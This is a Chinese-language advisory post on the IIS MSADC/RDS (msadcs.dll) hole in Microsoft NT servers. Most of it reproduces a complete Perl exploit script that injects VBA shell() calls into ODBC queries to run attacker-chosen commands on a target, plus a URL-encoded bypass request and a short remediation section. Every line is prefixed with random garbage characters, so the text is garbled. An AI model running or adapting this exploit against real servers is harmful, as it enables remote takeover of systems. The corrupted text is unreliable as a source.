IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q4&! mDU `[g$EXX 涉及程序：
_ +NjfF| Microsoft NT server
2x f lRks ybw\^t 描述：
-Dx3*Zh P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Yj/ o17 CuvY^[" 详细：
!'p<Kh[i 如果你没有时间读详细内容的话，就删除:
@uCi0P t c:\Program Files\Common Files\System\Msadc\msadcs.dll
jH!;}q 有关的安全问题就没有了。
e15yDwvB $!MP0f\q
g 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vI0,6fOd6 7Q9Hk(Z9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
OKlR`Vaty 关于利用ODBC远程漏洞的描述，请参看:
D
5n \h5 wT\BA'VQ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l<GN<[/.+ 7@%qm|i>w 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
TB* t^ E http://www.microsoft.com/security/bulletins/MS99-025faq.asp G} g;<,g~ 6XF Ufi+ 这里不再论述。
]vvA]e Sx'oa$J 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
7@\.()
"Zh,;)hS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
xb 3 G,F 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
wbAwmOiZ Gd_0FF . $f0u #将下面这段保存为txt文件，然后: "perl -x 文件名"
19qH WU^0V @n ?"*B #!perl
&qG/\ #
z$R&u=J # MSADC/RDS 'usage' (aka exploit) script
2Ax"X12{6 #
g:ky;-G8b # by rain.forest.puppy
-Pp{aF e #
pxgf%P<7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R}gdN-941 # beta test and find errors!
\efDY[j/ i/+^C($'f use Socket; use Getopt::Std;
K~,!IU_QG getopts("e:vd:h:XR", \%args);
|ugdl|f SyVXXk 0 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#%@bZ f
gfj_] if (!defined $args{h} && !defined $args{R}) {
CLzF84@W= print qq~
hS8M|_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
T&d Njx -h <host> = host you want to scan (ip or domain)
EQ,`6UT> -d <seconds> = delay between calls, default 1 second
_>\33V-?b -X = dump Index Server path table, if available
ElUFne= -v = verbose
+_J@8k -e = external dictionary file for step 5
F_'{:v1GW UX63BA Or a -R will resume a command session
fc@<' -VA XjN =UhC ~; exit;}
2=fM\ G QOktIH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`WOoC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
f t TD- d if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
jn|NrvrX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
NMK$$0U $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:JG5)H}j+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hRX9Du`$ 0.x+ H9z if (!defined $args{R}){ $ret = &has_msadc;
$I*}AUp
v? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#X'-/q`. Ve%ua]qA print "Please type the NT commandline you want to run (cmd /c assumed):\n"
U<0Wa>3zj . "cmd /c ";
8(Te^] v# $in=<STDIN>; chomp $in;
}.)R#hG ? $command="cmd /c " . $in ;
>8I~i:hn /B?wn=][ if (defined $args{R}) {&load; exit;}
aC2Vz9e 8QJr!#u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
jFdgFK c) &try_btcustmr;
OP=b rLGu0 en'[_4 3 print "\nStep 2: Trying to make our own DSN...";
&? bsBqpN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~ /K&=xE X,l7>>L{g print "\nStep 3: Trying known DSNs...";
=@M 9S &known_dsn;
z3i `O
La Yv]vl6< print "\nStep 4: Trying known .mdbs...";
VVch% &known_mdb;
i4D]> 51|s2+GG if (defined $args{e}){
C;HEv q7 print "\nStep 5: Trying dictionary of DSN names...";
$7Hwu^c( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
e8 ]CB F]6G<6T[ print "Sorry Charley...maybe next time?\n";
I2CI 9,0 exit;
KyX2CfW}t k
6[ ##############################################################################
eK1l~W% d ^RcJ3w sub sendraw { # ripped and modded from whisker
\A \ sleep($delay); # it's a DoS on the server! At least on mine...
, c`6- my ($pstr)=@_;
5 l8F.LtO\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yJC:
bD1xi die("Socket problems\n");
6O{QmB0KK if(connect(S,pack "SnA4x8",2,80,$target)){
>oJ ab R select(S); $|=1;
98 R/ ^\ print $pstr; my @in=<S>;
D? %*L select(STDOUT); close(S);
W)r|9G 8 T return @in;
J[?oV;O } else { die("Can't connect...\n"); }}
jRC{8^98 qpe9?`vVX ##############################################################################
oQ]FyV )?SF IQ= sub make_header { # make the HTTP request
q!0HsF my $msadc=<<EOT
&77J,\C$: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w ,j! %N User-Agent: ACTIVEDATA
n^;-& Host: $ip
{ObY1Y`ea Content-Length: $clen
h/\ Zq Connection: Keep-Alive
OXM=@B<" 8BAe6-*S8 ADCClientVersion:01.06
s-Gd{=%/q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6/wC StZ oe^JDb# --!ADM!ROX!YOUR!WORLD!
<`SA >P Content-Type: application/x-varg
83V\O_7j Content-Length: $reqlen
#pAN
}|Q \@3& EOT
n%36a(]
t ; $msadc=~s/\n/\r\n/g;
<(Ar[Rp return $msadc;}
U~yPQ8jD 5g-1pzP9 ##############################################################################
],!}&#| h& 4#5{= sub make_req { # make the RDS request
ZK t {3P my ($switch, $p1, $p2)=@_;
cLL2
' my $req=""; my $t1, $t2, $query, $dsn;
h#UPU7; +76ao7d. if ($switch==1){ # this is the btcustmr.mdb query
?H_@/? $query="Select * from Customers where City=" . make_shell();
"})OLa $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V_$<^z| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'>|K d{J0 *^ [6uaa elsif ($switch==2){ # this is general make table query
ckFPx l. $query="create table AZZ (B int, C varchar(10))";
x4kQG e( $dsn="$p1";}
]lGkZyU hI NKFeN D elsif ($switch==3){ # this is general exploit table query
<Af&Q0J $query="select * from AZZ where C=" . make_shell();
] rqx><!
$dsn="$p1";}
`dX0F=Ag? 6rE8P# elsif ($switch==4){ # attempt to hork file info from index server
Z"Lr5'} $query="select path from scope()";
4s|qxCks $dsn="Provider=MSIDXS;";}
Ew.6y=Ba {Q$8p2W elsif ($switch==5){ # bad query
# lMIs4i. $query="select";
8v/,< eARJ $dsn="$p1";}
.u&X:jOE =[aiW|Y $t1= make_unicode($query);
A?n5;mvq# $t2= make_unicode($dsn);
y]R+/ $req = "\x02\x00\x03\x00";
PyI"B96gz $req.= "\x08\x00" . pack ("S1", length($t1));
voRb>xF $req.= "\x00\x00" . $t1 ;
g51UIN]o- $req.= "\x08\x00" . pack ("S1", length($t2));
NoF|j57?u' $req.= "\x00\x00" . $t2 ;
B)DuikV.D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%8 DI)n#H return $req;}
jpYZ)
So- l2M( ##############################################################################
u"7!EhX& ,\+N}F^
sub make_shell { # this makes the shell() statement
Y <Ae_yLa return "'|shell(\"$command\")|'";}
mmjWLrhlu \ 6taC ##############################################################################
D5Rp<PBq, ib> ~3s; sub make_unicode { # quick little function to convert to unicode
TT;ls<(Lg my ($in)=@_; my $out;
9k9}57m.i for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'HV@i)h0%V return $out;}
x5g&?2[ I4qS8~+# ##############################################################################
H^o_B1 @>ys,dy sub rdo_success { # checks for RDO return success (this is kludge)
k&[6Ld0~56 my (@in) = @_; my $base=content_start(@in);
W"\`UzOLQ if($in[$base]=~/multipart\/mixed/){
T%"wz3~ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
a|]deJU^ return 0;}
e p5`&g]3 v`Y{.>[ H[ ##############################################################################
Vy/G -IASb <h+UC# .x sub make_dsn { # this makes a DSN for us
/9SoVU8 my @drives=("c","d","e","f");
GHi'ek <?^ print "\nMaking DSN: ";
@+Nf@LJ foreach $drive (@drives) {
VL"Cxs
print "$drive: ";
fO#nSB/
8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:! $+dr(d "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
VS`{k^^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
OqH3. @eK $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
58mpW `Q return 0 if $2 eq "404"; # not found/doesn't exist
<f)T*E^5% if($2 eq "200") {
'Zex/:QS foreach $line (@results) {
x@)cj return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M.qv'zV`xG } return 0;}
1n6%EC| X H;AMRL o4z ##############################################################################
]d{lS&PRlg `25<;@ sub verify_exists {
)3|a_
my ($page)=@_;
LtUw my @results=sendraw("GET $page HTTP/1.0\n\n");
|#xBC+ return $results[0];}
3H>\ hZ P%R9\iajH ##############################################################################
;ioF'ov
Zf??/+[ sub try_btcustmr {
BVus3Y5IJQ my @drives=("c","d","e","f");
BSr#;; \ my @dirs=("winnt","winnt35","winnt351","win","windows");
eMn'z]M&] PN J&{4wY foreach $dir (@dirs) {
64"DT3: print "$dir -> "; # fun status so you can see progress
}=gD,]2x8 foreach $drive (@drives) {
spQr1hx< print "$drive: "; # ditto
h'vBWtMa $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=l]
lwA - $reqlenlen=length( "$reqlen" );
NTCFmdbs 6 $clen= 206 + $reqlenlen + $reqlen;
ZcHIk{| t1y fSStp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>@a7Zzl0H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F_/ra?W VH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@x[A ^ k %sxA ##############################################################################
P,G
: 9x"e T.%y eJiE sub odbc_error {
y^Q);siSy my (@in)=@_; my $base;
Ck
m:; q my $base = content_start(@in);
aeh B,l0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"?iyvzo $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K,PN: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-~_|ZnuM9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y>T> return $in[$base+4].$in[$base+5].$in[$base+6];}
IQd~`
G print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Tg l a_sMb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M U '- $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{od@S l QWt 3KW8) ##############################################################################
pnL [FM c Ll#W:~ sub verbose {
jWvi% I qi my ($in)=@_;
xd"+ &YT return if !$verbose;
N<Ym&$xR print STDOUT "\n$in\n";}
L0{ [L nLANW Qk9 ##############################################################################
w|0:0Rc~u /Q89 y[ sub save {
Q TN24 q4 my ($p1, $p2, $p3, $p4)=@_;
[P }mDX open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7&]|c?([4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
m9D Tz$S. close OUT;}
v< (+ l)Ln dd
+ lQJ c ##############################################################################
k#/cdK!K #2Vq "Zn sub load {
])?h ~
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w~=xO_% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GlC (uhCpV @p=<IN>; close(IN);
*<"{(sAvk $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
79o=HiOF99 $target= inet_aton($ip) || die("inet_aton problems");
H,7!"!?@N print "Resuming to $ip ...";
(_3'nF g $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
wQ9@
l if($p[1]==1) {
LZ&I<ID`- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
udc9KuR@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1#fR=*ZM" my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^LXsU]
R if (rdo_success(@results)){print "Success!\n";}
3Tw9Uc\vT else { print "failed\n"; verbose(odbc_error(@results));}}
0~[M[T\ elsif ($p[1]==3){
'V <ZmJ2 if(run_query("$p[3]")){
Z TB6m` print "Success!\n";} else { print "failed\n"; }}
0 xvSi9 elsif ($p[1]==4){
%uiCC>cC if(run_query($drvst . "$p[3]")){
,R7j9#D print "Success!\n"; } else { print "failed\n"; }}
XJwgh y?( exit;}
4L97UhLL ;nAx@_ab^ ##############################################################################
<pD z YWVz3l sub create_table {
V|awbff: my ($in)=@_;
<y7Hy&&y- $reqlen=length( make_req(2,$in,"") ) - 28;
-H|!KnR $reqlenlen=length( "$reqlen" );
YV>&v.x0; $clen= 206 + $reqlenlen + $reqlen;
d@b2XCh< K my @results=sendraw(make_header() . make_req(2,$in,""));
(Gapv9R return 1 if rdo_success(@results);
V pY,@qh my $temp= odbc_error(@results); verbose($temp);
J*6B~)Sp@ return 1 if $temp=~/Table 'AZZ' already exists/;
XgeUS;qtta return 0;}
7xW Jw )"2eN3H/ ##############################################################################
,4-],~T tuY= )? sub known_dsn {
9JIL K9mVO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8|L 5nQ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*&+z I$u( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
W(-son~I "banner", "banners", "ads", "ADCDemo", "ADCTest");
e(&u3 #7Nn a^[s[j#^, foreach $dSn (@dsns) {
h\~!! F print ".";
^4Se=Hr
z2 next if (!is_access("DSN=$dSn"));
qa8?bNd'f if(create_table("DSN=$dSn")){
:C0)[L print "$dSn successful\n";
yB{1&S5 C if(run_query("DSN=$dSn")){
nhZ/^`Y< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PTXS8e4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
/_8nZVu m?8o\|i, ##############################################################################
;l < amB *o(bB!q"c sub is_access {
CEzdH!nP my ($in)=@_;
f^IB:e#j; $reqlen=length( make_req(5,$in,"") ) - 28;
,u- 9e4 $reqlenlen=length( "$reqlen" );
]'hel#L;l $clen= 206 + $reqlenlen + $reqlen;
pY%KI my @results=sendraw(make_header() . make_req(5,$in,""));
4 V
mUTMY my $temp= odbc_error(@results);
n 1^h;2gz verbose($temp); return 1 if ($temp=~/Microsoft Access/);
BXz g33 return 0;}
zh(=kS ` ' 9&@? P; ##############################################################################
2jk ma :$' a`eb9o# sub run_query {
l>(*bb1}b my ($in)=@_;
bh sC eH $reqlen=length( make_req(3,$in,"") ) - 28;
#~w~k+E4 $reqlenlen=length( "$reqlen" );
g~9b_PY9 $clen= 206 + $reqlenlen + $reqlen;
k!6m'} v my @results=sendraw(make_header() . make_req(3,$in,""));
l!\~T"-7;: return 1 if rdo_success(@results);
mGF)Ot R my $temp= odbc_error(@results); verbose($temp);
h ^14/L=| return 0;}
W58%Zz4a A
;|P\V ##############################################################################
I58$N+ # IfI:|w}:"r sub known_mdb {
/pLf?m9 my @drives=("c","d","e","f","g");
oBo |eRIt| my @dirs=("winnt","winnt35","winnt351","win","windows");
6 lEv<)cC my $dir, $drive, $mdb;
vu JE Pn% my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e$rPXRf T+%P+ # this is sparse, because I don't know of many
#)S&Z><< my @sysmdbs=( "\\catroot\\icatalog.mdb",
#2Iw%H 2q& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
aQ &K a "\\system32\\certmdb.mdb",
EEx:Xk%5hX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z tp2j%' cBZJ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3+iryW(\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
%):pfM;b "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h2?\A% "\\cfusion\\cfapps\\security\\realm_.mdb",
3m$Qd#| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
VT#`l0I } "\\cfusion\\database\\cfexamples.mdb",
- _ %~b "\\cfusion\\database\\cfsnippets.mdb",
'jy e* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"Rtt~["% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[.C P,Ly "\\cfusion\\brighttiger\\database\\cleam.mdb",
l$R9c+L= "\\cfusion\\database\\smpolicy.mdb",
3&+ nV1 "\\cfusion\\database\cypress.mdb",
r-]%R:U* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
w:=:D=xH2 "\\website\\cgi-win\\dbsample.mdb",
={o)82LV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
l B#7j "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5a s5{"l ); #these are just
WH U l.h foreach $drive (@drives) {
"\5 T
6 foreach $dir (@dirs){
GsiKL4|mj foreach $mdb (@sysmdbs) {
s l P>; print ".";
HoeW6U V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
T;S6<J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]kO |kIs if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
VAqZ`y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.} (X19R } else { print "Something's borked. Use verbose next time\n"; }}}}}
3h A5"G+7 #n|eq{fkK foreach $drive (@drives) {
T Wfk r foreach $mdb (@mdbs) {
Ya!P V&"Z print ".";
'tX}6wurf if(create_table($drv . $drive . $dir . $mdb)){
;Qc^xIPy print "\n" . $drive . $dir . $mdb . " successful\n";
WQB V~.<Yv if(run_query($drv . $drive . $dir . $mdb)){
G %K&f1q% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xNLgcb@v> } else { print "Something's borked. Use verbose next time\n"; }}}}
q:vGG K^ }
8{6`?qst@ f*p=j(sF ##############################################################################
,;<M+V3+ PO:sF]5 sub hork_idx {
$gL ^\(_3H print "\nAttempting to dump Index Server tables...\n";
w`dS c@ : print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7>AM zNj $reqlen=length( make_req(4,"","") ) - 28;
D^f;X.Qm $reqlenlen=length( "$reqlen" );
f=8{cK0j $clen= 206 + $reqlenlen + $reqlen;
4VC8#x1 my @results=sendraw2(make_header() . make_req(4,"",""));
q_"w,28 if (rdo_success(@results)){
b"OH Xu my $max=@results; my $c; my %d;
\}YAQ'T for($c=19; $c<$max; $c++){
m5, &;~ $results[$c]=~s/\x00//g;
"QBl
"<<s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
p
)WRsJ8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J90
)v7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4sC)hAx&f $d{"$1$2"}="";}
X[SI k%{D foreach $c (keys %d){ print "$c\n"; }
d -8{ }Q } else {print "Index server doesn't seem to be installed.\n"; }}
E #!.;AQ &(|Ot`el]v ##############################################################################
]c6h'} 4 C *0MV sub dsn_dict {
,zZ@QW 5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^a1k"|E?f while(<IN>){
,H$%'s1I( $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,&Vir)S next if (!is_access("DSN=$dSn"));
kN 0N18E if(create_table("DSN=$dSn")){
<5G 4|l print "$dSn successful\n";
]x%sX|Rj if(run_query("DSN=$dSn")){
jc,Q g2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)a%E $` print "Something's borked. Use verbose next time\n";}}}
<KE%|6oER print "\n"; close(IN);}
K;>9K' n jBd=!4n ##############################################################################
J2Qt! - h*3{IHAQ sub sendraw2 { # ripped and modded from whisker
5Z=GFKf| sleep($delay); # it's a DoS on the server! At least on mine...
Il# ST my ($pstr)=@_;
_c(h{ dn socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%:OX^ ^i; die("Socket problems\n");
XdnpL$0 if(connect(S,pack "SnA4x8",2,80,$target)){
E*s _Y print "Connected. Getting data";
Zt9l d=T open(OUT,">raw.out"); my @in;
8m[o*E.4F select(S); $|=1; print $pstr;
9Q 73 42 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Zvra > % close(OUT); select(STDOUT); close(S); return @in;
u}rJqZ } else { die("Can't connect...\n"); }}
2 av=W 7Rc>LI*
' ##############################################################################
6:Y2z!MLO D'^UZZlI^I sub content_start { # this will take in the server headers
#Kx @:I my (@in)=@_; my $c;
Tz0XBH_ for ($c=1;$c<500;$c++) {
/fU -0a8 if($in[$c] =~/^\x0d\x0a/){
|C0 !mU if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
bik lj a else { return $c+1; }}}
a a dw#90 return -1;} # it should never get here actually
BaM F5f+ J5z\e@?.0\ ##############################################################################
>X=V Ph8 abS3hf sub funky {
bXqTc2>= my (@in)=@_; my $error=odbc_error(@in);
tGSX TF}G if($error=~/ADO could not find the specified provider/){
KUU ZN print "\nServer returned an ADO miscofiguration message\nAborting.\n";
][XCpJ)8 exit;}
5@pLGMHT if($error=~/A Handler is required/){
(CAkzgTfc print "\nServer has custom handler filters (they most likely are patched)\n";
?D(aky#cyc exit;}
5'<a,,RKu if($error=~/specified Handler has denied Access/){
NSq29# print "\nServer has custom handler filters (they most likely are patched)\n";
'a:';hU3f exit;}}
R0bg t2J FL&L$#X ##############################################################################
'QTa<Z)E ~(= 5`9 sub has_msadc {
1 qp"D_h my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
J*AYZS-tSE my $base=content_start(@results);
E!>MJlA:k6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\!%~( FM return 0;}
%MEWw +"|TPKas ########################
,D& -.`'E D z[ ,; Ylgr]?Db* 解决方案：
Zlygx 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
R 0G!5>1i 2、移除web 目录: /msadc
